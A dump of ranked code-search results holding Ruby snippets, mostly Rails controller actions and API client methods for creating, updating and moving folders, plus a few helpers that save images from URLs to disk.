"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Operação realizada com sucesso.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "58cfd65a3affaca403305dfc7855e60d",
"score": "0.6532542",
"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: \"#{Folder.model_name.human} #{t('succesfully_updated')}\" }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9332869f9159dab1393224df86ef249c",
"score": "0.6492743",
"text": "def update\n @folder = Cnf::Folder.find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "68d658b5e6f574d5699d99c2b545d798",
"score": "0.6460746",
"text": "def update\n @folder = Folder.of_loggedin_user(current_user).find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e00fbf0c63f8298730224d670f6520c6",
"score": "0.6452454",
"text": "def update(fid, name, type)\n _params = {:fid => fid, :name => name, :type => type}\n return @master.call 'folders/update', _params\n end",
"title": ""
},
{
"docid": "b167fee947c703783d7bcdf8914d2930",
"score": "0.64333266",
"text": "def update\n @folder.create_activity key: 'Updated Folder', owner: current_user\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to trip_folder_path(:trip_id => @trip.name,:id => @folder.name), notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: trip_folder_path(:trip_id => @trip.name,:id => @folder.name) }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "256503f363bd847816cd28dbd111a77f",
"score": "0.6427462",
"text": "def update\n @site ||= Site.find_by_id(params[:site]) or (render_404 and return)\n @folder = @site.folders.by_name(params[:name]).first or (render_404 and return)\n @folder.attributes = params[:folder].permit(Folder.accessible_attributes)\n begin\n @folder.save!(:validate => true)\n flash[:notice] = message(:folders, :updated)\n return redirect_to :action => 'list'\n rescue ActiveRecord::RecordInvalid => ex\n generate_selections!(@folder)\n render :action => :edit\n end\n end",
"title": ""
},
{
"docid": "c65fbb02aab472fbb2f0234424b1f071",
"score": "0.6383557",
"text": "def upgrade_folder folder,json\n json.each do |name,hash|\n hash[:fields][:folder] = hash[:values].first.size \n hash[:values].map! { |row| row << folder }\n end\n\n end",
"title": ""
},
{
"docid": "4267c4d6229b458008eb813689ca2730",
"score": "0.6363226",
"text": "def update_folder( params )\n\n raise ArgumentError.new(format('wrong type. \\'params\\' must be an Hash, given \\'%s\\'', params.class.to_s)) unless( params.is_a?(Hash) )\n raise ArgumentError.new('missing \\'params\\'') if( params.size.zero? )\n\n v, mv = version.values\n return { 'status' => 404, 'message' => format( 'folder has been supported in Grafana since version 5. you use version %s', v) } if(mv < 5)\n\n uid = validate( params, required: true , var: 'uid' , type: String )\n title = validate( params, required: true , var: 'title' , type: String )\n new_uid = validate( params, required: false, var: 'new_uid' , type: String )\n version = validate( params, required: false, var: 'version' , type: Integer )\n overwrite = validate( params, required: false, var: 'overwrite', type: Boolean ) || false\n\n existing_folder = folder( uid )\n return { 'status' => 404, 'message' => format( 'No Folder \\'%s\\' found', uid) } if( existing_folder.dig('status') != 200 )\n\n unless( new_uid.nil? )\n existing_folder = folder( new_uid )\n return { 'status' => 404, 'message' => format( 'Folder \\'%s\\' found', uid) } if( existing_folder.dig('status') == 200 )\n end\n\n payload = {\n title: title,\n uid: new_uid,\n version: version,\n overwrite: overwrite\n }\n payload.reject!{ |_, y| y.nil? }\n\n @logger.debug(\"Updating folder with Uid #{uid}\") if @debug\n\n endpoint = format( '/api/folders/%s', uid )\n\n put( endpoint, payload.to_json )\n end",
"title": ""
},
{
"docid": "d02d0b55d017df878767f961f6698a3b",
"score": "0.63407063",
"text": "def update\n respond_to do |format|\n if @z_folder.update(folder_params)\n format.html { redirect_to @z_folder, notice: 'folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @z_folder }\n else\n format.html { render :edit }\n format.json { render json: @z_folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "28004f7ef5ff6bfc166f7d0b175e3634",
"score": "0.63387734",
"text": "def update_library_folder(folder)\n url = Util::Config.get('endpoints.base_url') + \n sprintf(Util::Config.get('endpoints.library_folder'), folder.id)\n url = build_url(url)\n payload = folder.to_json\n response = RestClient.put(url, payload, get_headers())\n Components::LibraryFolder.create(JSON.parse(response.body))\n end",
"title": ""
},
{
"docid": "c778fb12712cd3543b033dd7a5931f82",
"score": "0.63342345",
"text": "def update\n parent_id = params.require(:folder).require(:parent)\n @parent = Folder.find(parent_id)\n respond_to do |format|\n @folder.parent = @parent\n if @folder.update(get_folder_params)\n format.html { redirect_to @folder, notice: folder_updated_msg(@folder.name) }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "99b8633742d3fe1941ff8d9a27fb29d2",
"score": "0.630606",
"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to folder_path(@org, @folder), notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"title": ""
},
{
"docid": "8b02e8b3044f1023a98d7976386cdc5c",
"score": "0.62980515",
"text": "def update\n @folder.update(folder_params)\n respond_window_with @folder, :location => :back\n end",
"title": ""
},
{
"docid": "2cef58b7e5d41bde764c031c850ea033",
"score": "0.62912756",
"text": "def update\n if current.folder.update_attribute(:name, params[:folder][:name])\n redirect_to folder_path(current.folder.parent)\n else\n render :edit\n end\n end",
"title": ""
},
{
"docid": "9dc9926b6811574733748b566f77cf3f",
"score": "0.6257647",
"text": "def edit(folder_id, name)\n response = @client.put(\"folders/#{folder_id}\", name: name)\n verify response,\n forbidden: 'Cannot rename a system folder.',\n not_found: 'Folder does not exist.',\n internal_server_error: 'Server failed to rename the folder.'\n end",
"title": ""
},
{
"docid": "04dc46102fbe45595daa930ed2ec1ae6",
"score": "0.6244641",
"text": "def create_folder(folder_name,parent_folder_id)\n self.class.post(\"#{url}/api/filesystem/folders/#{ERB::Util.url_encode(parent_folder_id)}\", basic_auth: @auth, body: {:name => folder_name}.to_json, headers: {'Content-Type' => 'application/json'})\n end",
"title": ""
},
{
"docid": "b0ef51e3b94a6bc9716eaaeb06ac9b93",
"score": "0.6218964",
"text": "def update\n @folder = Folder.find(params[:id])\n @folder.author = current_user.name\n unless current_user.roles.first.name == 'admin'\n @folder.role_id = current_user.roles.first.id\n end\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to @folder, notice: 'Pasta atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "323b9a7cb910a3683477e7473e77359c",
"score": "0.620596",
"text": "def update\n respond_to do |format|\n if @api_v1_folder_share.update(api_v1_folder_share_params)\n format.html { redirect_to @api_v1_folder_share, notice: 'Folder share was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_folder_share }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_folder_share.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8c350576e97a8198e2479d92c7dc845a",
"score": "0.62001175",
"text": "def update_folder\n get_document\n \n if@document\n @document.update_column(:folder_id,params[:folder_id])\n\n set_notification(true, I18n.t('status.success'), I18n.t('success.updated', item: \"Folder\"))\n set_flash_message(I18n.translate(\"success.saved\", item: \"Folder\"), :success)\n end\n end",
"title": ""
},
{
"docid": "0c962a79633fc77a9f7ae379fa2129d4",
"score": "0.6194781",
"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n @folder.images.where.not(id: params[:current_image_ids]).destroy_all if @folder.images.present?\n params[:images]['image_url'].each do |a|\n @image = @folder.images.create!(image_url: a, folder_id: @folder.id)\n end if params[:images].present?\n format.html { redirect_to edit_admin_folder_path(@folder), notice: 'Folder was successfully updated.' }\n format.json { render :edit, status: :ok, location: @folders }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "914ec4d7ad1c6e798dd32020cf431672",
"score": "0.61911005",
"text": "def put_create_folder(path, opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: StorageApi#put_create_folder ...\"\n end\n \n # verify the required parameter 'path' is set\n fail \"Missing the required parameter 'path' when calling put_create_folder\" if path.nil?\n \n # resource path\n path = \"/storage/folder/{path}\".sub('{format}','json').sub('{' + 'path' + '}', path.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'storage'] = opts[:'storage'] if opts[:'storage']\n query_params[:'destStorage'] = opts[:'dest_storage'] if opts[:'dest_storage']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'text/json', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n result = @api_client.call_api(:PUT, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BaseResponse')\n if Configuration.debugging\n Configuration.logger.debug \"API called: StorageApi#put_create_folder. Result: #{result.inspect}\"\n end\n return result\n end",
"title": ""
},
{
"docid": "152542a1b9de7850fe80cde7eefcf905",
"score": "0.61737293",
"text": "def update\n @folder = Folder.find(params[:id])\n if @folder.update_attributes(params[:folder])\n flash[:notice] = \"Folder Updated!\"\n redirect_to folder_path\n else\n redirect_to folders_path\n end\n end",
"title": ""
},
{
"docid": "3425fcf98ac6cbdb01441ccef37323bf",
"score": "0.6168373",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "3425fcf98ac6cbdb01441ccef37323bf",
"score": "0.6168373",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "3425fcf98ac6cbdb01441ccef37323bf",
"score": "0.6168373",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "5e24346bc4d5480fdcddf9bb69711240",
"score": "0.6164563",
"text": "def set_folder\n @folder = Folder.find(params[:id]) || Folder.first if params[:id].to_i != 0\n @folders = Folder.all\n end",
"title": ""
},
{
"docid": "0bf3de4164f25f8ff3d7633e8621aef7",
"score": "0.61606854",
"text": "def create_folder token, parent_id, name, description\n uri = URI.parse \"https://#{get_hostname(token)}/sf/v3/Items(#{parent_id})/Folder\"\n puts uri\n \n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n \n folder = {\"Name\"=>name, \"Description\"=>description}\n \n request = Net::HTTP::Post.new uri.request_uri \n request[\"Authorization\"] = get_authorization_header(token)\n request[\"Content-Type\"] = \"application/json\"\n request.body = folder.to_json\n \n response = http.request request\n puts \"#{response.code} #{response.message}\"\n \n if response.kind_of? Net::HTTPSuccess\n new_folder = JSON.parse response.body\n puts \"Created New Folder: #{new_folder['Id']}\"\n end\nend",
"title": ""
},
{
"docid": "1aac9fc4a19b44fe1b2e7ad82c6eae62",
"score": "0.6152851",
"text": "def set_folder\n service = Service.find_by(id: params[:service_id], user_id: params[:user_id])\n @folder = service.folders.find(params[:id])\n end",
"title": ""
},
{
"docid": "dad8b6fb7f9d34276ba5ecf5cac7f14d",
"score": "0.61418515",
"text": "def set_folder\r\n @folder = Folder.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "dad8b6fb7f9d34276ba5ecf5cac7f14d",
"score": "0.61418515",
"text": "def set_folder\r\n @folder = Folder.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "d1422147a4ed7c1e725ddaeb9705e874",
"score": "0.61292243",
"text": "def update\n respond_to do |format|\n if @shared_folder.update(shared_folder_params)\n format.html { redirect_to @shared_folder, notice: 'Shared folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @shared_folder }\n else\n format.html { render :edit }\n format.json { render json: @shared_folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "02a43ade753d823c808e869a7d04caf9",
"score": "0.6129216",
"text": "def update\n @folder.files.attach(@files_params) if @files_params.present?\n \n respond_to do |format|\n if @folder.update(folder_params)\n @folder.update_attribute('parent_id', nil) if @folder == Folder.first\n\n format.html { redirect_to @folder, notice: \"Folder was successfully updated.\" }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a0c772f304c747955c62c5e40c6f625",
"score": "0.6125123",
"text": "def move_folder\n\t\tfolder = current_user.folders.find(params[:id])\n\t\tnew_folder = current_user.folders.find(params[:new_folder_id])\n\t\tnote = folder.notes.find(params[:note_id])\n\t\t#att = note.attributes\n\t\t#new_folder.notes.create_note(att)\n\t\t#note.destroy\n\t\tnew_folder.notes << note\n\n\n\t\trespond_to do |format|\n\t\t\tformat.json { render :json => {:status => \"success\"}}\n\t\t\tformat.all {render :text => \"Only JSON supported at the moment\"}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "64978d662158fa788b21874b802daebe",
"score": "0.61143434",
"text": "def update\n respond_to do |format|\n if @folder.update_attributes(submission_folder_params)\n format.html { redirect_to profile_favorite_folders_path, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4985f2135e0fc7d4ed2daf6762d18fde",
"score": "0.6110156",
"text": "def update\n @document_folder = DocumentFolder.find(params[:id])\n\n respond_to do |format|\n if @document_folder.update_attributes(params[:document_folder])\n format.html { redirect_to root_url, notice: 'Document folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document_folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8e3b996d8b7d29fb6a2f2f6f1400ca6b",
"score": "0.610518",
"text": "def move_folder\n folder = Folder.find(params[:folder_id])\n new_parent_folder = Folder.find(params[:new_parent_folder_id])\n if (folder.id == new_parent_folder.id) || is_subfolder(folder, new_parent_folder)\n puts \"cannot move a folder to one of its subfolders!\"\n raise Exception.new('cannot move a folder to itself or one of its subfolders')\n else\n new_parent_folder.folders << folder\n render json: folder_to_json(folder)\n end\n end",
"title": ""
},
{
"docid": "9a153f3bfdd9ff49a671d703fc2c37e3",
"score": "0.60997415",
"text": "def create\n @api_v1_folder = Api::V1::Folder.new(api_v1_folder_params)\n\n respond_to do |format|\n if @api_v1_folder.save\n format.html { redirect_to @api_v1_folder, notice: 'Folder was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_folder }\n else\n format.html { render :new }\n format.json { render json: @api_v1_folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9262cab5535ddbd193553e43aca027d",
"score": "0.6096726",
"text": "def update\n @folder = Folder.find(params[:folder_id])\n authorize! :update, @folder\n @file_item = FileItem.find(params[:id])\n authorize! :update, @file_item\n\n respond_to do |format|\n if @file_item.update_attributes(params[:file_item])\n format.html { redirect_to @folder, notice: 'File was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @file_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c1d56466c10ddc927bc60f9be94a2870",
"score": "0.6074946",
"text": "def set_api_v1_folder\n @api_v1_folder = Api::V1::Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "82fc76ed28b04e01f479eabe7c276f04",
"score": "0.6033013",
"text": "def update\n session[:folder_document_ids] = session[:folder_document_ids] || []\n session[:folder_document_ids] << params[:id] \n\n # Rails 3 uses a one line notation for setting the flash notice.\n # flash[:notice] = \"#{params[:title] || \"Item\"} successfully added to Folder\"\n respond_to do |format|\n format.html { redirect_to :back, :notice => I18n.t('blacklight.folder.add.success', :title => params[:title] || 'Item') }\n format.js { render :json => session[:folder_document_ids] }\n end\n end",
"title": ""
},
{
"docid": "c356ca94ab510b5c373ce939cf81f8af",
"score": "0.6026037",
"text": "def update\n respond_to do |format|\n if @folder.update_attributes(submission_folder_params)\n format.html { redirect_to profile_submission_folders_path, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "2e9a1a79bc4be70385f3f6bcbf70f2fb",
"score": "0.5985115",
"text": "def set_folder\n @folder = Folder.find(params[:id])\n end",
"title": ""
},
{
"docid": "6813cd43fca73b9888b0be5f277b1fff",
"score": "0.59847015",
"text": "def update\n respond_to do |format|\n if @actionfolder.update(actionfolder_params)\n format.html { redirect_to @actionfolder, :flash => { :success => \"Pasta atulizada com sucesso.\" } }\n \n format.json { render :show, status: :ok, location: @actionfolder }\n else\n format.html { render :edit }\n format.json { render json: @actionfolder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a5e4f146922ec9d7280c980b089fd624",
"score": "0.5983189",
"text": "def update\n \n if params[:folder][:user_id]\n @new_owner = User.find(params[:folder][:user_id]).display_name\n @story = \"Moved from \" + @folder.user.display_name + \" to \" + @new_owner + \" by \" + current_user.display_name\n @history = @folder.histories.build(:action => @story)\n end\n \n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f9c0cf7d39c783f4f9b667917e17af26",
"score": "0.59684616",
"text": "def add_folder(title)\n post('folders/add', :title => title)\n end",
"title": ""
},
{
"docid": "72e369697c4812db6910421fd6f8b408",
"score": "0.5958902",
"text": "def update\n @feed = current_user.feeds.find folder_params[:feed_id]\n if params[:id] != Folder::NO_FOLDER\n @folder = current_user.folders.find params[:id]\n else\n @folder = Folder::NO_FOLDER\n end\n\n current_user.move_feed_to_folder @feed, folder: @folder\n head :ok\n rescue => e\n handle_error e\n end",
"title": ""
},
{
"docid": "4875e15d05113e6717bf82000d042288",
"score": "0.5954786",
"text": "def update\n respond_to do |format|\n if @bookmark.update(bookmark_params)\n # update folder description\n if fi = @bookmark.folder_id\n folder = Folder.find(fi)\n folder.title = @bookmark.title\n folder.save\n end\n\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n format.json { render :show, status: :ok, location: @bookmark }\n else\n format.html { render :edit }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "91cfc0788f7212a5450790539cc0e84a",
"score": "0.59534764",
"text": "def folder_params\n params.require(:folder).permit(:name, :folder_path, :dirty_flag, :service_folder_id, :parent_id)\n end",
"title": ""
},
{
"docid": "b98cd35ca621bd70cc4efe8779655fa9",
"score": "0.5952478",
"text": "def add_folder(dir, params = {})\n params.keep_only([:selective, :secret])\n params[:selective_sync] = params[:selective] ? 1 : 0\n params.delete(:selective)\n params[:dir] = dir\n data = send_request 'add_folder', params\n\n return successful?\n end",
"title": ""
},
{
"docid": "61e740eda56880f7ad8a4131ba8049fc",
"score": "0.5952051",
"text": "def folder_params\n params.require(:folder).permit(:name, :content, :parent_id)\n end",
"title": ""
},
{
"docid": "d2777c2089794e7eaae013cdeae2322b",
"score": "0.59484184",
"text": "def create_folder\n parent_folder = Folder.find(params[:parent_folder_id])\n folder_params = {\n name: params[:name]\n }\n folder = parent_folder.folders.create!(folder_params)\n render json: folder_to_json(folder)\n end",
"title": ""
},
{
"docid": "440409a5935cb241cd97113b8557e9d9",
"score": "0.59298617",
"text": "def folder_params\n params.require(:folder).permit(:name, :size, :parent_id)\n end",
"title": ""
},
{
"docid": "fa05fb166ea9d3a40de3d95691f62e34",
"score": "0.5929703",
"text": "def folder_params\n params.require(:folder).permit(:name, :user_id)\n end",
"title": ""
},
{
"docid": "9582fc66d77fc74c55de21da17ad1867",
"score": "0.5926735",
"text": "def update\n respond_to do |format|\n if @folder_user.update(folder_user_params)\n format.html { redirect_to folders_url, notice: 'Operação realizada com sucesso.' }\n format.json { render :show, status: :ok, location: @folder_user }\n else\n format.html { render :edit }\n format.json { render json: folders_url, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d6c88cf87cee0eb4df0804cf753ab25f",
"score": "0.5921757",
"text": "def update\n respond_to do |format|\n if @gfolder.update(gfolder_params)\n format.html { redirect_to [@group, @gfolder], notice: 'gfolder was successfully updated.' }\n # TODO\n # format.json { render :show, status: :ok, location: [@group, @gfolder] }\n else\n format.html { render :edit }\n format.json { render json: @gfolder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a66774e5c2aa51259be799462ddd25c0",
"score": "0.5913584",
"text": "def create_with_http_info(folder_input, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FoldersApi.create ...'\n end\n # verify the required parameter 'folder_input' is set\n if @api_client.config.client_side_validation && folder_input.nil?\n fail ArgumentError, \"Missing the required parameter 'folder_input' when calling FoldersApi.create\"\n end\n # resource path\n local_var_path = '/files/v3/folders'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', '*/*'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(folder_input)\n\n # return_type\n return_type = opts[:debug_return_type] || 'Folder'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oauth2']\n\n new_options = opts.merge(\n :operation => :\"FoldersApi.create\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FoldersApi#create\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "c11470c0ecdf814553c2bb15f48d6fc6",
"score": "0.59128165",
"text": "def rename_folder\n folder = @space.folders.find(params[:id])\n\n result = folder_service.rename(folder, params[:name])\n\n raise ApiError, result.value.values if result.failure?\n\n render json: result.value, adapter: :json\n end",
"title": ""
},
{
"docid": "fe2e64f17302faebf2280df1a61cd06a",
"score": "0.5909811",
"text": "def create\n authorize! :modify, Folder\n @folder = current_employee.folders.new(folder_params)\n\n respond_to do |format|\n if @folder.save\n format.html { redirect_to @folder, notice: 'Folder was successfully created.' }\n format.json { render :show, status: :created, location: @folder }\n else\n format.html { render :new }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b2d5fc83a907f25e5176864fa6beb3d0",
"score": "0.5905903",
"text": "def put_rest(path, json) \n run_request(:PUT, create_url(path), json)\n end",
"title": ""
},
{
"docid": "5fccbea1070f7ec1976a6b11366476cc",
"score": "0.5902041",
"text": "def _put(path, payload, isD2l = true)\n auth_uri = path\n auth_uri = create_authenticated_uri(path, 'PUT') if isD2l == true\n # Perform the put action, updating the data; Provide feedback to client.\n RestClient.put(auth_uri, payload.to_json, content_type: :json) do |response|\n case response.code\n when 200\n return nil if response == \"\"\n JSON.parse(response)\n # ap JSON.parse(response.body)\n else\n display_response_code(response.code)\n ap JSON.parse(response.body) if $debug\n end\n end\nend",
"title": ""
},
{
"docid": "6181971c9cfa863c2e640d68d9cac387",
"score": "0.5900797",
"text": "def updateFolder(projectId, folder)\r\n\t\t\t\turl = getBaseURL+\"projects/\"+String(projectId)+\"/folders/\"+String(folder.getId)+\"/\"\t\t\r\n\t\t\t\tresponse = ZohoHTTPClient.post(url, getQueryMap, folder.toParamMAP)\t\r\n\t\t\t\treturn $folderParser.getFolder(response)\r\n\t\t\tend",
"title": ""
},
{
"docid": "4c6b47c232e4f322006913515337e578",
"score": "0.5890561",
"text": "def update\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n flash[:notice] = \"フォルダ [#{@folder.name}] が更新されました\"\n format.html { redirect_to(:action => 'index') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @folder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "356f7d37b630c7bb350d94087bd4eec8",
"score": "0.58809364",
"text": "def folder_params\n params.require(:folder).permit(:title, :parent_id)\n end",
"title": ""
},
{
"docid": "eb9c95fded2bc96501ab448711b8f18a",
"score": "0.5879893",
"text": "def set_folder\n @folder = Folder.find_by_id(params[:id])\n end",
"title": ""
},
{
"docid": "3ef4526a3fa22ca6a0252653ecfad5b4",
"score": "0.5877617",
"text": "def index\n @api_v1_folders = Api::V1::Folder.all\n end",
"title": ""
}
] |
e00f2cb00fead85e975e42345a391e48
|
save photo from "url" to "path"
|
[
{
"docid": "0cb513baa0d353c4f15df62e4c68ce29",
"score": "0.6783308",
"text": "def save_photo(file_path, url, agent = nil)\n begin\n File.open(file_path, 'w') do |output|\n if agent.nil?\n open(url) do |input|\n output << input.read\n end\n else\n output << agent.get(url).body\n end\n end\n rescue\n return false\n end\n\n return true\nend",
"title": ""
}
] |
[
{
"docid": "d31c06409a6d7e68ee1e83eba0e72d9d",
"score": "0.8521905",
"text": "def save_photo(file_path, url)\n File.open(file_path, 'w') do |output|\n open(url) do |input|\n output << input.read\n end\n end\nend",
"title": ""
},
{
"docid": "bb1a6b98ca4dbc798a838153804a71a8",
"score": "0.7532197",
"text": "def save!(url, path, options = {})\n begin\n data = thumbnail(url, options)\n path = File.join(path, \"#{url.gsub(/(http:)|[\\/]/, '')}.#{PG_IMAGE_FORMAT}\") if File.directory?(path)\n File.new(path, 'w')\n File.open(path, 'w') { |f| f.write(data) }\n rescue\n false\n else\n true\n end\n end",
"title": ""
},
{
"docid": "c3bb1714022f952ab41477e9b6a952a4",
"score": "0.7248822",
"text": "def save(path)\n @image.save(path)\n end",
"title": ""
},
{
"docid": "e054438f6bb1bd5e7250e9b75ebbc169",
